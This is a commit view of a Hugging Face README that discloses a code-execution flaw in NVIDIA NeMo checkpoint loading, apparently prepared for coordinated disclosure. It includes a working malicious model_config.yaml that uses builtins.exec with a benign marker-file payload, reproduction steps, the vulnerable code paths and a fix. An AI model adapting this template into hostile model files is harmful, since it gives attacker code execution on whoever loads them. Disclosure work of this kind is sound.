Havzer commited on
Commit
1fed603
Β·
verified Β·
1 Parent(s): 9e4ac38

Upload README.md with huggingface_hub

Browse files
Files changed (1) hide show
  1. README.md +107 -0
README.md ADDED
@@ -0,0 +1,107 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ---
2
+ license: apache-2.0
3
+ tags:
4
+ - security
5
+ - proof-of-concept
6
+ - do-not-use
7
+ viewer: false
8
+ ---
9
+
10
+ # ⚠️ SECURITY RESEARCH PoC β€” DO NOT LOAD THIS MODEL ⚠️
11
+
12
+ This repository is **not a real model**. It hosts a single crafted
13
+ `malicious_vocoder.nemo` that demonstrates **arbitrary code execution** when an
14
+ untrusted NVIDIA **NeMo** `.nemo` checkpoint is loaded with the standard
15
+ `restore_from()` API.
16
+
17
+ It exists solely for **coordinated disclosure** to the NeMo maintainers via
18
+ [huntr](https://huntr.com). The payload is **benign** β€” it prints a banner and
19
+ writes a marker file `PWNED_NEMO_HF.txt` into your OS temp directory. **Do not
20
+ load it** unless you understand exactly what it does.
21
+
22
+ Affected: `nemo_toolkit` **2.7.3 (latest)** and `main` (2.8.0). No OSV/GHSA
23
+ advisory covers 2.7.x.
24
+
25
+ ---
26
+
27
+ ## The bug in one paragraph
28
+
29
+ A `.nemo` file is a tar archive containing `model_config.yaml`. On
30
+ `restore_from()`, NeMo loads that **untrusted** YAML and constructs the model.
31
+ Several TTS/vocoder `__init__` methods then call **`hydra.utils.instantiate(self._cfg.<subkey>)`
32
+ directly** on sub-configs taken verbatim from the YAML. `instantiate()` resolves
33
+ and **calls the `_target_`** with attacker-supplied `_args_`, so a sub-config
34
+ like `preprocessor: {_target_: builtins.exec, _args_: ["<python>"]}` runs
35
+ arbitrary code at load time. These raw calls **bypass** NeMo's `safe_instantiate`
36
+ allow-list (the CVE-2026-24159 hardening), which only guards the
37
+ `from_config_dict` `_target_` branch β€” not the model `__init__` path.
38
+
39
+ ## Vulnerable chain (NeMo 2.7.3)
40
+
41
+ 1. `nemo/core/connectors/save_restore_connector.py` β€” `OmegaConf.load(model_config.yaml)` (untrusted)
42
+ 2. `…` β€” `calling_cls.from_config_dict(config=conf, trainer=trainer)`
43
+ 3. `nemo/core/classes/common.py:589` `from_config_dict` β€” a normal model config (no top-level `_target_`) hits the `else` branch and constructs `cls(cfg=config)`, running the model `__init__` with the untrusted config (only the `_target_` / `cls+params` branches route through guarded `safe_instantiate`).
44
+ 4. `nemo/collections/tts/models/waveglow.py:49`
45
+ ```python
46
+ self.audio_to_melspec_precessor = instantiate(self._cfg.preprocessor) # RAW, no allow-list
47
+ ```
48
+ where `instantiate` is `from hydra.utils import instantiate` (waveglow.py:17).
49
+ 5. `hydra.utils.instantiate` executes the attacker `_target_` β†’ **RCE**.
50
+
51
+ Same raw `instantiate(self._cfg.*)` sink in: `tacotron2.py:113-115`,
52
+ `two_stages.py:126/131`, `spectrogram_enhancer.py:276`, plus `univnet.py`,
53
+ `vits.py`, `radtts.py`, `mixer_tts.py` (all `from hydra.utils import instantiate`).
54
+ A second, independent vector is the legacy `target` else-branch in
55
+ `common.py:614` (`import_class_by_path(config["target"])` β†’ `imported_cls(cfg=config)`),
56
+ also unguarded.
57
+
58
+ ## The malicious `model_config.yaml` (inside the .nemo)
59
+
60
+ ```yaml
61
+ sigma: 1.0
62
+ preprocessor:
63
+ _target_: builtins.exec
64
+ _args_:
65
+ - |
66
+ import os, tempfile
67
+ open(os.path.join(tempfile.gettempdir(), "PWNED_NEMO_HF.txt"), "w").write("RCE")
68
+ print("[PWNED] code ran inside WaveGlowModel.restore_from()")
69
+ waveglow: {}
70
+ ```
71
+
72
+ ## Reproduce (victim's point of view)
73
+
74
+ ```bash
75
+ pip install nemo_toolkit[tts] huggingface_hub
76
+ ```
77
+ ```python
78
+ from huggingface_hub import hf_hub_download
79
+ from nemo.collections.tts.models import WaveGlowModel
80
+
81
+ path = hf_hub_download(repo_id="<this-repo>", filename="malicious_vocoder.nemo")
82
+ WaveGlowModel.restore_from(path) # __init__ -> instantiate(self._cfg.preprocessor) -> code runs
83
+ ```
84
+
85
+ Observed: a `[PWNED] …` banner prints and `PWNED_NEMO_HF.txt` appears in your
86
+ temp dir, **before** `restore_from` errors out on the placeholder weights β€”
87
+ proving the code runs at load time.
88
+
89
+ ## Impact
90
+
91
+ `.nemo` checkpoints are routinely distributed via the Hugging Face Hub and
92
+ NVIDIA NGC; `restore_from` is **the** standard loading API. A victim loading an
93
+ attacker's TTS/vocoder `.nemo` β€” a normal, trusted-looking action β€” gets
94
+ arbitrary code execution in their process.
95
+ `CVSS:3.1 AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` (~8.8 High).
96
+
97
+ ## Remediation
98
+
99
+ Route all model-config-driven instantiation through `safe_instantiate` (or run
100
+ `_validate_config_targets_recursive` before every
101
+ `hydra.utils.instantiate(self._cfg.*)` in `nemo/collections/tts/models/*`), and
102
+ guard the legacy `target` branch in `from_config_dict` (`common.py:605-625`).
103
+
104
+ ---
105
+
106
+ *Reported responsibly via huntr. Files in this repo are inert configuration; the
107
+ "weights" are a zero-byte placeholder. Replace the benign payload at your own risk.*